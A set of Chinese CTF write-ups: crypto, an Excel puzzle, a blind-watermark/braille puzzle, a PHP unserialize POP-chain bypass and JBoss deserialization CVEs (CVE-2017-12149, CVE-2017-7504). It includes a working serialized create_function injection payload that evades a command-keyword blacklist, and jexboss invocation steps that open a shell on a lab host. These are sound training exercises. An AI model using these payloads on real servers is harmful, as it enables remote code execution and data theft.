Contents

近期一些CTF的writeup

0x00 签到

from Crypto.Util.number import *
import random
flag=b'flag{******************}'
n = 2 ** 256
flaglong=bytes_to_long(flag)
m = random.randint(2, n-1) | 1
c = pow(m, flaglong, n)
print('m = ' + str(m))
print('c = ' + str(c))
# m = 73964803637492582853353338913523546944627084372081477892312545091623069227301
# c = 21572244511100216966799370397791432119463715616349800194229377843045443048821

这是一个求解离散对数的问题——经过查询在sage下有discrete_log函数可以直接解决问题,discrete_log(Mod(c,n),Mod(m,n)),在sagemath的docker下运行。

得到34852863801130149185238904762083023615101,利用long_to_bytes得到flag{DASCTF_zjut}

0x02 hellounser

源代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?> 

参考https://www.gem-love.com/ctf/770.html

现在的困难:

  • 不能通过 system() 等函数执行系统命令,就无法 cat flag.php
  • 过滤了 flag 等关键字,不能操作 $flag 变量
  • 过滤了 print 等关键字,不能直接读取或类似无参数 RCE 的方法 flag.php 源代码

但是代码明确写了包含 flag.php,在不指定变量名称的情况下输出变量的值,get_defined_vars() 可以用来输出所有变量和值。构造如下的payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A {
    public $var;
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$b->func = "create_function";
$b->arg = "};var_dump(get_defined_vars());//";
$a->var = $b;

echo serialize($a);
#O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:33:"};var_dump(get_defined_vars());//";}}
?> 

上传pop的值得到

现在的困难:

  • 过滤了 include 关键字
  • 过滤了单引号双引号
  • 过滤了 flag 关键字和类似无参数 RCE 题目中能够得到 1flag.php 字符串的各种函数的关键字,比如无法 scandir()

应对的策略:

  • 过滤了 include 还能用 require
  • 过滤了引号,可以使用那些参数可以不加引号的函数,require() 代替 require " "
  • 过滤了 flag,可以 base64 编码。其他过滤的不用便是

修改

$b->arg = "};require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";

0x03 Girlfriend’s account

jackie的女朋友又偷偷用他的信用卡买东西了,你能算算一共花了多少钱吗?

打开Excel,提示flag{账单总金额四舍五入保留至小数点后两位},例如总金额为 543.21 元时,你需要提交 flag{543.21}

套用公式

1
=SUM(ISNUMBER(SEARCH(TEXT({1,2,3,4,5,6,7,8,9},"[dbnum2]"&{"0亿";"0仟!*万";"0佰!*万";"0拾!*万";"0万";"万!*0仟";"万!*0佰";"万!*0拾";"0元";"0角";"0分"}),IF(ISERR(FIND("万",A2)),"万",)&A2))*{1,2,3,4,5,6,7,8,9}*10^{8;7;6;5;4;3;2;1;0;-1;-2})

然后把值粘贴出来,把件数替换成阿拉伯数字。再用公式=A2*B2计算,最后=SUM(C1:C5001)

0x03 双目失明,身残志坚

打开压缩包,得到两张图

两张看起来一样的图,blind,联想到了盲水印,解一下。

看起来像是盲文,对应的点是34,26,1245,1346,1245,256,15,145,35,125,23456

试了下转日文,发现不太行。又对照维基尝试了下汉语拼音。得到如下结果:

zh(i) e/o g/j iang(yang) g/j ong(weng) ie(ye) d a h/x ue(yue)

组合一下,惊奇地发现是zhejianggongyedaxue

0x04 [Jboss]CVE-2017-12149

漏洞名称:Jboss 反序列化(CVE-2017-12149)

漏洞描述:JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码。

漏洞影响:Redhat JBoss Enterprise Application Platform 5.0

参考:https://juejin.cn/post/6869587131678294023

https://github.com/yunxu1/jboss-_CVE-2017-12149

打印环境变量env,获得flag{d0c54aa0-5bce-4fd6-84a1-e01230f23d19}

0x05 [Jboss]CVE-2017-7504

git clone https://github.com/joaomatosf/jexboss,cd到jexboss文件夹下执行python3 jexboss.py -u http://node4.buuoj.cn:28056/,发现存在漏洞。

输入yes后,工具自动进行漏洞利用,利用成功会出现shell的命令行,可执行相关命令。

查看环境变量,得到flag。

0x06 [JBoss]JMXInvokerServlet-deserialization

同样使用jboss反序列化工具,查看环境变量即可。